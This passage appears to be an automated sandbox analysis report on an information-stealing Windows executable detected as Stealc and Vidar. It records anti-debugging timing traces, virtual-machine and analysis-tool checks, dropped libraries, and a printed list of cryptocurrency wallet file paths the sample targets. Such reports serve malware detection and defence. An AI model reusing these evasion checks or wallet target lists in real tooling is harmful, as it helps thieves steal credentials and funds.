Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50405A0 second address: 50405C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62C0B58F81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+18h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F62C0B58F7Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50405C7 second address: 50405CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50405CD second address: 50405D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50405D1 second address: 50405F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62C0F46583h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+14h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50405F3 second address: 50405F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50405F7 second address: 50405FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50405FD second address: 5040614 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62C0B58F7Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+10h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040614 second address: 5040618 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040618 second address: 504061E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504061E second address: 5040624 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504068B second address: 5040691 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040691 second address: 5040695 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020887 second address: 50208BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62C0B58F81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F62C0B58F81h 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F62C0B58F7Dh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50208BE second address: 50208CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62C0F4657Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50208CE second address: 50208D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50208D2 second address: 502090A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F62C0F46587h 0x0000000f pop ebp 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 call 00007F62C0F46582h 0x00000018 pop ecx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020935 second address: 5020971 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F62C0B58F81h 0x00000009 adc ax, 11A6h 0x0000000e jmp 00007F62C0B58F81h 0x00000013 popfd 0x00000014 push eax 0x00000015 pop ebx 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push 47AA9F7Bh 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020971 second address: 5020985 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62C0F46580h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020985 second address: 50209AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62C0B58F7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 2D3B7CADh 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 call 00007F62C0B58F7Bh 0x00000018 pop ecx 0x00000019 movsx edx, ax 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50209AE second address: 50209B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50209B4 second address: 50209FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62C0B58F7Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b call 00007F633092C5A1h 0x00000010 push 74DF27D0h 0x00000015 push dword ptr fs:[00000000h] 0x0000001c mov eax, dword ptr [esp+10h] 0x00000020 mov dword ptr [esp+10h], ebp 0x00000024 lea ebp, dword ptr [esp+10h] 0x00000028 sub esp, eax 0x0000002a push ebx 0x0000002b push esi 0x0000002c push edi 0x0000002d mov eax, dword ptr [74E80140h] 0x00000032 xor dword ptr [ebp-04h], eax 0x00000035 xor eax, ebp 0x00000037 push eax 0x00000038 mov dword ptr [ebp-18h], esp 0x0000003b push dword ptr [ebp-08h] 0x0000003e mov eax, dword ptr [ebp-04h] 0x00000041 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000048 mov dword ptr [ebp-08h], eax 0x0000004b lea eax, dword ptr [ebp-10h] 0x0000004e mov dword ptr fs:[00000000h], eax 0x00000054 ret 0x00000055 pushad 0x00000056 pushfd 0x00000057 jmp 00007F62C0B58F7Ch 0x0000005c sbb ax, EF38h 0x00000061 jmp 00007F62C0B58F7Bh 0x00000066 popfd 0x00000067 mov ecx, 58E8316Fh 0x0000006c popad 0x0000006d and dword ptr [ebp-04h], 00000000h 0x00000071 pushad 0x00000072 movzx eax, bx 0x00000075 push eax 0x00000076 push edx 0x00000077 mov di, 24FEh 0x0000007b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50209FF second address: 5020A6B instructions: 0x00000000 rdtsc 0x00000002 movsx edx, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 mov edx, dword ptr [ebp+0Ch] 0x0000000b pushad 0x0000000c mov eax, 2D89BAF3h 0x00000011 pushad 0x00000012 mov dx, si 0x00000015 pushfd 0x00000016 jmp 00007F62C0F46582h 0x0000001b or cl, FFFFFFF8h 0x0000001e jmp 00007F62C0F4657Bh 0x00000023 popfd 0x00000024 popad 0x00000025 popad 0x00000026 mov esi, edx 0x00000028 jmp 00007F62C0F46586h 0x0000002d mov al, byte ptr [edx] 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F62C0F46587h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020A6B second address: 5020A88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, bh 0x00000005 mov dh, cl 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a inc edx 0x0000000b pushad 0x0000000c movsx ebx, cx 0x0000000f pushad 0x00000010 mov edi, ecx 0x00000012 mov bx, si 0x00000015 popad 0x00000016 popad 0x00000017 test al, al 0x00000019 pushad 0x0000001a push ecx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020A88 second address: 5020A6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ecx 0x00000006 movsx edx, cx 0x00000009 pop ecx 0x0000000a popad 0x0000000b jne 00007F62C0F4652Dh 0x00000011 mov al, byte ptr [edx] 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F62C0F46587h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020B1C second address: 5020B25 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 2DBAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020B25 second address: 5020B78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov al, byte ptr [edi+01h] 0x0000000a jmp 00007F62C0F46587h 0x0000000f inc edi 0x00000010 jmp 00007F62C0F46586h 0x00000015 test al, al 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F62C0F46587h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020B78 second address: 5020B90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62C0B58F84h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020B90 second address: 5020BAA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F6330D0E45Dh 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F62C0F4657Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020BAA second address: 5020BBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62C0B58F7Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020BBC second address: 5020BFF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62C0F4657Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 pushfd 0x00000013 jmp 00007F62C0F46581h 0x00000018 adc esi, 4A15EA66h 0x0000001e jmp 00007F62C0F46581h 0x00000023 popfd 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020BFF second address: 5020C06 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020D03 second address: 5020D0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020D0F second address: 5020D13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020D13 second address: 5020D2B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62C0F46584h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020D2B second address: 5020D82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a pushad 0x0000000b call 00007F62C0B58F80h 0x00000010 pushfd 0x00000011 jmp 00007F62C0B58F82h 0x00000016 or cl, 00000038h 0x00000019 jmp 00007F62C0B58F7Bh 0x0000001e popfd 0x0000001f pop esi 0x00000020 popad 0x00000021 pop esi 0x00000022 pushad 0x00000023 mov ax, dx 0x00000026 call 00007F62C0B58F81h 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030192 second address: 5030207 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F62C0F4657Fh 0x00000008 mov dh, cl 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007F62C0F46582h 0x00000013 xchg eax, ebp 0x00000014 pushad 0x00000015 mov esi, 67FCE5FDh 0x0000001a pushad 0x0000001b push esi 0x0000001c pop ebx 0x0000001d mov edi, ecx 0x0000001f popad 0x00000020 popad 0x00000021 mov ebp, esp 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007F62C0F46583h 0x0000002c sub ax, 019Eh 0x00000031 jmp 00007F62C0F46589h 0x00000036 popfd 0x00000037 mov si, F967h 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030207 second address: 5030223 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62C0B58F88h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030223 second address: 5030262 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 pushad 0x0000000a mov cx, dx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushfd 0x00000010 jmp 00007F62C0F4657Fh 0x00000015 xor esi, 5755B90Eh 0x0000001b jmp 00007F62C0F46589h 0x00000020 popfd 0x00000021 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8FE55B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 908C13 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 989E41 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8FCCA8 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 7520	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7524	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7516	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7512	Thread sleep time: -36018s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C64EBF0 PR_GetNumberOfProcessors,GetSystemInfo,

0_2_6C64EBF0

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2064805319.00000000008E0000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2065495419.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: file.exe, 00000000.00000002.2065495419.000000000113E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware]
Source: file.exe, 00000000.00000002.2065495419.000000000113E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2065495419.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2065495419.0000000001184000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWhs
Source: file.exe, 00000000.00000002.2064805319.00000000008E0000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C71AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6C71AC62

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C71AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6C71AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 7480, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C764760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6C764760

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C641C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

0_2_6C641C30

Source: file.exe, file.exe, 00000000.00000002.2064805319.00000000008E0000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: BProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C71AE71 cpuid

0_2_6C71AE71

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C71A8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6C71A8DC

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C668390 NSS_GetVersion,

0_2_6C668390

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.480000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1676707184.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2065495419.000000000113E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2064326724.0000000000481000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7480, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7480, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2065495419.0000000001197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Electrum\wallets\\.`>
Source: file.exe, 00000000.00000002.2065495419.00000000011F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\ElectronCash\wallets\.
Source: file.exe, 00000000.00000002.2065495419.0000000001197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Electrum\wallets\\.`>
Source: file.exe, 00000000.00000002.2065495419.0000000001197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\jaxx\Local Storage\file__0.localstorage
Source: file.exe, 00000000.00000002.2065495419.00000000011F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\\window-state.jsono\Hn
Source: file.exe, 00000000.00000002.2065495419.00000000011F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.conf.json/\
Source: file.exe, 00000000.00000002.2065495419.0000000001197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\passphrase.json
Source: file.exe, 00000000.00000002.2065495419.00000000011F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda 